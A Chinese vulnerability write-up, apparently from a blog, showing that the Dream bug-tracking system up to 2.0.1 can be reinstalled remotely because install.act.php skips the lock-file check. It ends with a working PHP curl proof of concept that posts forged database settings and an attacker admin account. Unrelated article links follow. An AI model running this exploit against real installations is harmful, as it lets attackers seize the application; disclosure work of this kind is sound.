在./install/install.php中

 if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}

通过检测lock.txt文件是否存在来判断系统是否已经安装了,

但是看到代码的最后,发现是这个样子的

 <div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> &nbsp; <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />

点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义

 function onNext(){
window.location = "check.php";
}

直接导向至check.php文件了,来看看这个文件是怎么写的

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ require_once (dirname(__FILE__) . "/inc/config.inc.php");
$gd = gd_info();
$curl = function_exists('curl_init');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
...

并没有判断入口是否合法,所以可以直接在浏览器中访问之

然后"下一步"又是个onNext()函数来处理的,继续看

 function onNext(){
var data = document.getElementsByName("data");
var num = 0;
for(i=0;i<data.length;i++){
if(data[i].value==1){
num += Number(data[i].value);
}
}
if(num==data.length){
window.location = "mysql.php";
}
num = 0;
}

最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
require_once (dirname(__FILE__) . "/inc/config.inc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
<script language="javascript">
<!--
function onLast(){
history.back();
} function onClick(){
h = list.host.value;
n = list.name.value;
u = list.user.value;
wn = list.webname.value;
hn = list.hostname.value;
e = list.mail.value;
au = list.adminuser.value;
ap = list.adminpwd.value;
ap2 = list.adminpwd2.value;
if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
alert("选项不能为空");
return false;
}else{
if(ap!=ap2){
alert("两次输入的密码不相同");
return false;
}
if(!e.match(/@/)){
alert("邮箱格式不正确");
return false;
} return true;
}
}
-->
</script>
<link href="img/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<form action="inc/install.act.php" method="post" name="list">
<div align="center">
<div class="main">
<div class="top">
<img src="img/logo_about.png" height="45" />
<span>Dream缺陷跟踪系统</span></div> <div class="content">
<table width="100%" border="0" cellspacing="0"> <tr>
<td height="26" colspan="3" class="top_txt">数据库信息</td>
</tr>
<tr>
<td width="21%" height="22">数据库服务器:</td>
<td width="34%">&nbsp;<input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
<td width="45%">&nbsp;数据库服务器地址, 一般为 localhost</td>
</tr>
<tr>
<td width="21%" height="22">数据库名:</td>
<td width="34%">&nbsp;<input name="name" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据库用户名:</td>
<td width="34%">&nbsp;<input name="user" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据库密码:</td>
<td width="34%">&nbsp;<input name="pwd" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据表前缀:</td>
<td width="34%">&nbsp;<input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
<td>&nbsp;同一数据库运行多个系统时,请注意修改前缀</td>
</tr>
<tr>
<td height="26" colspan="3" class="top_txt">程序及用户信息</td>
</tr>
<tr>
<td width="21%" height="22">项目名称:</td>
<td>&nbsp;<input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">项目域名:</td>
<td>&nbsp;<input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">管理员邮箱:</td>
<td>&nbsp;<input name="mail" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;请务必填写正确</td>
</tr>
<tr>
<td width="21%" height="22">管理员账号:</td>
<td>&nbsp;<input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">管理员密码:</td>
<td>&nbsp;<input name="adminpwd" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">再输入一次密码:</td>
<td>&nbsp;<input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;请牢记您的账号与密码</td>
</tr> </table>
</div>
<div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> &nbsp; <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" /> <div><img src="img/step3.png" width="700" height="10" /></div>
</div>
<div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc. All Rights Reserved</div>
</div>
</div></form>
</body>
</html>

判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ session_start();
require_once (dirname(__FILE__) . "/config.inc.php");
include(PJINC.'/core/filesys.lib.php'); $nf_d = new filesys;
if(isset($_POST['put'])){
if($_POST['put']!=''){
$show = '';
$host = trim($_POST['host']);
$name = trim($_POST['name']);
$user = trim($_POST['user']);
$pwd = trim($_POST['pwd']);
$prefix = trim($_POST['prefix']);
$data = array();
$data['webname'] = trim($_POST['webname']);
$data['hostname'] = trim($_POST['hostname']);
$data['mail'] = trim($_POST['mail']);
$data['adminuser'] = trim($_POST['adminuser']);
$data['adminpwd'] = trim($_POST['adminpwd']);
$conn = mysql_connect($host,$user,$pwd);
...

没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。

POC:

 <?php
$url="http://127.0.0.1/dream/install/inc/install.act.php";
$data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
curl_close($ch);
print_r($result);
?>

可以看到新的数据库hackedream已经成功建立鸟~~~

Dream权限追踪系统<=2.0.1 重安装漏洞的更多相关文章

  1. 分布式监控系统Zabbix-3.0.3-完整安装记录(1)

    分布式监控系统Zabbix-3.0.3的安装记录 环境说明zabbix-server:192.168.1.30     #zabbix的服务端(若要监控本机,则需要配置本机的Zabbix agent, ...

  2. 分布式监控系统Zabbix-3.0.3-完整安装记录(7)-使用percona监控MySQL

    前面已经介绍了分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控,但是没有提供可以直接使用的Key,太过简陋,监控效果不佳.要想更加仔细的监控Mysql,业内同学们都会选择 ...

  3. 从壹开始前后端 [vue后台] 之一 || 权限后台系统 1.0 正式上线

    缘起 哈喽各位小伙伴周三好,春节已经过去好多天了,群里小伙伴也各种催搞了,新年也接了新项目,比较忙,不过还是终于赶上这个二月的尾巴写了这篇文章,也把 vue 权限后台上线了(项目地址:http://1 ...

  4. 分布式监控系统Zabbix-3.0.3-完整安装记录(6)-微信报警部署

    Zabbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式. 现在由于微信使用的广泛度,越来越多的企业开始使用zabbix结合微信作为主要的告警方式,这样可以及时有效的把告警信息推 ...

  5. 分布式监控系统Zabbix-3.0.3-完整安装记录(5)-邮件报警部署

    前面几篇陆续介绍了zabbix3.0.3监控系统的部署和监控项配置,今天这里分享下zabbix3.0.3的邮件报警的配置过程~由于采用sendmail发送邮件,常常会被认为是垃圾邮件被拒,所以不推荐这 ...

  6. 分布式监控系统Zabbix-3.0.3-完整安装记录(3)-监控nginx,php,memcache,Low-level discovery磁盘IO

    前段时间在公司IDC服务器上部署了zabbix3.0.3监控系统,除了自带的内存/带宽/CPU负载等系统资源监控模板以及mysql监控模板外,接下来对诸如nginx.php.memcache.磁盘IO ...

  7. 分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控

    Zabbix3.0 Server以后就自带了MySQL插件来监控mysql数据库的模板,只需要配置好agent客户端,然后在web端给主机增加模板就行了. 以下是公司线上的zabbix3.0环境下添加 ...

  8. 分布式监控系统Zabbix-3.0.3-完整安装记录(4)-解决zabbix监控图中出现中文乱码问题

    之前部署了Zabbix-3.0.3监控系统,在安装数据库时已经将zabbix库设置了utf-8字符. 首先确定zabbix开启了中文支持功能:登录到zabbix服务器的数据目录下(前面部署的zabbi ...

  9. 分布式监控系统Zabbix-3.0.3-完整安装记录(0)

    一.Linux下开源监控系统简单介绍1)cacti:存储数据能力强,报警性能差2)nagios:报警性能差,存储数据仅有简单的一段可以判断是否在合理范围内的数据长度,储存在内存中.比如,连续采样数据存 ...

随机推荐

  1. leetcode 17 电话号码的数字组合

    给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合.给出数字到字母的映射如下(与电话按键相同).注意 1 不对应任何字母. class Solution { List<String ...

  2. [Algo] 397. Right Shift By N Characters

    Right shift a given string by n characters. Assumptions The given string is not null. n >= 0. Exa ...

  3. C#匿名委托,匿名函数,lambda表达式

    一.类型.变量.实例之间的关系. 类型>变量>实例 类型可以创建变量,实体类可以创建实例,实例可以存储在变量里. 二.委托使用过程: 1.定义委托(写好签名): 2.创建委托变量: 3.给 ...

  4. 启动查看crontab日志服务

    方法1: . 修改rsyslog文件,将/etc/rsyslog.d/-default.conf 文件中的#cron.*前的#删掉: . 重启rsyslog服务service rsyslog rest ...

  5. Linux保护机制

    RELRO(RELocation Read Only) 在Linux中有两种RELRO模式:"Partial RELRO" 和 "Full RELRO".Lin ...

  6. LeetCode No.136,137,138

    No.136 SingleNumber 只出现一次的数字 题目 给定一个非空整数数组,除了某个元素只出现一次以外,其余每个元素均出现两次.找出那个只出现了一次的元素. 说明:你的算法应该具有线性时间复 ...

  7. 回归分析|r^2|Se|变差|多重相关系数|决定系数|多重共线性|容忍度|VIF|forward selection|backward elimination|stepwise regression procedure|best-subset approach|回归方程的置信区间|预测区间|残差分析|虚拟变量

    应用统计学-回归分析 拟合度使用r^2和Se来检验. 显著性检验中,对于线性model使用ANOVA,对于单独的回归系数使用t检验. 最小二乘法.贝叶斯和最大似然都可用于求回归参数,最小二乘法是最小化 ...

  8. iOS渐变视图&动画库、腰杆、音频水滴水波手势、多种对话框、四级展开效果等源码

    iOS精选源码 用户行为追踪--无侵入埋点 .终端日志的打印 支持storyboard的渐变视图&动画库 支持圆形.竖直.横向的摇杆 纯swift实现的类似excel表格效果 swift实现自 ...

  9. Rx系列---响应式编程

    Rx是ReactiveX的简称,翻译过来就是响应式编程 首先要先理清这么一个问题:Rxjava和我们平时写的程序有什么不同.相信稍微对Rxjava有点认知的朋友都会深深感受到用这种方式写的程序和我们一 ...

  10. 63)PHP,登录验证

    首先辨析两种状态:   你的用户名和密码通过验证  只能表明你能登录,但是不能保证你登录了. 管理员信息合法和管理员处于的登录状态是两个概念:管理员信息合法证明你的用户名和密码是正确的, 但是管理员信 ...